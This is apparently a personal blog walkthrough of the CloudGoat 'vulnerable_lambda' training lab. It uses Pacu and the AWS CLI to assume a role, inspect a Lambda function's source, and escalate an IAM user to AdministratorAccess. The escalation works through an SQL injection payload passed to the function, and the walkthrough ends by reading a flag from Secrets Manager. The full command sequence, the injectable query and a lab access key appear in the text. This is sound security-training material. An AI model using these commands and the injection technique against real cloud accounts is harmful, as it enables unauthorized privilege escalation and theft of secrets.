Exploiting Lambda Vulnerabilities for Privilege Escalation in AWS
Introduction
In this lab, you start as the 'bilbo' user. You will assume a role with more privileges, discover a lambda function that applies policies to users, and exploit a vulnerability in the function to escalate the privileges of the Bilbo user to search for secrets.
This lab walkthrough references the course Pentesting AWS with Pacu, CloudGoat, and ChatGPT by Cybr Training(Christophe Limpalair).
Check Here for step by step Guide to installing CloudGoat
Image Source:Cybr
Image Source:Cybr
Lab Walkthrogh
Create an IAM User with programmatic access keys
Configure an AWS CLI profile called cloudgoat
Navigate to Cloudgoat folder and run the command. Type “y” and enter the profile name
./cloudgoat.py config profile
Execute the Cloudgoat lab by running the command below
Make sure you are in cloudgoat directory/Folder. NB: Terraform is used in deploying this lab. You have to wait for some minutes for the lab to be created.
./cloudgoat.py create vulnerable_lambda
You will observe that a new IAM user with access key is created located in this path
/home/goody/cloudgoat/vulnerable_lambda_cgidqg4nba36xd/start.txt
or you can copy the access key in a sticky note.cloudgoat_output_aws_account_id = 116*****9986 cloudgoat_output_bilbo_access_key_id = AKIARWKY24WJMD2DCOW4 cloudgoat_output_bilbo_secret_key = pj0uL*******************t8/Dd1piuo profile = cloudgoat scenario_cg_id = vulnerable_lambda_cgidqg4nba36xd
Exploiting vulnerable Lambda function for admin access /w Pacu
Check Here for installation Guide
Run the command below to activate the virtual environment for pacu.
$python3 -m venv venv && source venv/bin/activate # After that type pacu and press enter $pacu
Type in (0) to create a new session and give it a session name (here, “vulnerable_lambda”) and press Enter key.
Next, set Keys Set by typing the command set_keys and give the Key alias any name of your choice (in this blog, bilbo) and use the CloudGoat-generated Access key credentials in the previous steps.
Execute the command
whoami
to view details of the IAM user (bilbo) access key.Execute the command to
run iam__enum_permissions
gather some information about Bilbo’s permissions.Note the IAM UserName
cg-bilbo-vulnerable_lambda_cgidqg4nba36xd
for Future use.Execute the command
whoami
again to view bilbo’s permissionsYou will observe that ONLY IAM policy permissions are found.
Next, execute the pacu
iam__enum_users_roles_policies_groups
command to gather details about users, roles, policies, and groups for potential privilege escalation permissions.The output of the executed command reveals number of Users, Roles, Policies and Groups Found but doesn’t show the full details.
Execute the command
data iam roles
to reveal more details about the roles foundScan through the output of the command for Assume-Role-Policy-Document related to the IAM User “
bilbo
”. This Role grants Assume-Role access tobilbo
IAM User.Note the ARN details for the RoleName
(cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd)
to be used for future purpose."Arn": "arn:aws:iam::116*****9986:role/cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd",
Or You can use the command below to extract the specific details of the role name from the IAM Role Data.
aws iam list-roles --query 'Roles[?contains(RoleName, `cg-lambda-invoker`)]' --output json
OUTPUT in Text
Pacu (vulnerable_lambda:bilbo) > aws iam list-roles --query 'Roles[?contains(RoleName, `cg-lambda-invoker`)]' --output json [ { "Path": "/", "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd", "RoleId": "AROARWKY24WJMDEYT2CIE", "Arn": "arn:aws:iam::116******986:role/cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd", "CreateDate": "2024-05-06T22:04:56Z", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::116*****986:user/cg-bilbo-vulnerable_lambda_cgidqg4nba36xd" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 } ]
Run the command
ls
to list pacu modules. Execute the pacu moduleorganizations__assume_role
command under lateral movement to assume role.#Code Sample format run organization__assume_role --accounts <**Account-number**> --roles <**RoleName:** cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd> # Real Code to be executed run organizations__assume_role --accounts 116******986 --roles cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd
Now we know that the role
cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd
can be assumed.Now execute the command below to assume the role
assume_role arn:aws:iam::116******986:role/cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd
Next, Let’s exploit the vulnerable lambda by executing the command
run lambda__enum --regions us-east-1
Denote the command
data lambda
to view more details.The code location URL can be pasted on a web browser to download the vulnerable lambda files. Open the File
main.py
on VScode to view the source code.Note the
FuntionName
for future purpose.Review the Source code (check the line highlighted **statement . . .)
import boto3 from sqlite_utils import Database db = Database("my_database.db") iam_client = boto3.client('iam') /** db["policies"].insert_all([ {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'}, {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'}, {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'}, {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'}, {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'}, {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'}, {"policy_name": "AdministratorAccess", "public": 'False'} ]) **/
def handler(event, context): target_policys = event['policy_names'] user_name = event['user_name'] print(f"target policys are : {target_policys}") for policy in target_policys: statement_returns_valid_policy = False statement = f"select policy_name from policies where policy_name='{policy}' and public='True'" for row in db.query(statement): statement_returns_valid_policy = True print(f"applying {row['policy_name']} to {user_name}") response = iam_client.attach_user_policy( UserName=user_name, PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}" ) print("result: " + str(response['ResponseMetadata']['HTTPStatusCode'])) if not statement_returns_valid_policy: invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \ f"policies and don't cheat. :) " print(invalid_policy_statement) return invalid_policy_statement return "All managed policies were applied as expected."
if __name__ == "__main__": payload = { "policy_names": [ "AmazonSNSReadOnlyAccess", "AWSLambda_ReadOnlyAccess" ], "user_name": "cg-bilbo-user" } print(handler(payload, 'uselessinfo'))
The source code reveals an unfiltered SQL statement vulnerability that can be exploited.
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
Exploiting the SQL Injection code
- We want to have
AdministratorAccess
, Check the *cheat_sheet for hint to “Invoke the role applier lambda function and pass the name of the bilbo IAM user and the injection payload”
select policy_name from policies where policy_name='AdministratorAccess' --' and public='True'
- Execute the Command to exploit the lambda function
Recall the details Noted in Previous steps
=> "FunctionName": "vulnerable_lambda_cgidqg4nba36xd-policy_applier_lambda1"
=> "IAM UserName": "cg-bilbo-vulnerable_lambda_cgidqg4nba36xd"
------------------------------------------------------------------------------
#Sample code
aws lambda invoke --function-name <Function-name> --payload <payload, "user_name":> \response.json --region us-east-1
#Real - execution
aws --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidqg4nba36xd-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess'"'"' --"],"user_name": "cg-bilbo-vulnerable_lambda_cgidqg4nba36xd"}' out.txt
The Status 200 shows that the SQL injection was successful.
Execute the
swap_keys
command to Swap back to bilbo. In the Prompt, select Number [1] for bilbo session.Run the command
run iam__enum_permissions
to update the permissions.Execute the command to reveal permissions of post-exploitation
# Code Sample aws iam list-attached-user-policies --user-name <UserName> #Real-Code aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidqg4nba36xd
Now, Bilbo IAM user now has
AdministratorAccess
Permission
Securing the Flag
Execute the command below to list the secrets from AWS secrets-manager and extract the final flag.
$aws secretsmanager list-secrets --region us-east-1
Execute the pacu Module command below to Capture the Flag in AWS Secrets Manager
aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidqg4nba36xd-final_flag --region us-east-1
The Flag
SecretString": "cg-secret-846237-284529"
Lesson
You have learned to assume a role with increased privileges, identify a Lambda function that manages user policies, and exploit SQLi vulnerability within this function to escalate the privileges of the user "bilbo."
Cleaning up
Navigate to the pacu directory and execute the command to destroy the Cloudgoat lab
./cloudgoat.py destroy vulnerable_lambda
Resources
Subscribe to my newsletter
Read articles from Goodycyb directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Goodycyb
Goodycyb
Hey there! 👋🏾 I'm Goody, a Cloud Threat Researcher by Day 🌞 and a Cloud Security Content Engineer by Night🌜. Join me on my journey as I explore the realm of Threat Detection in Cloud Security.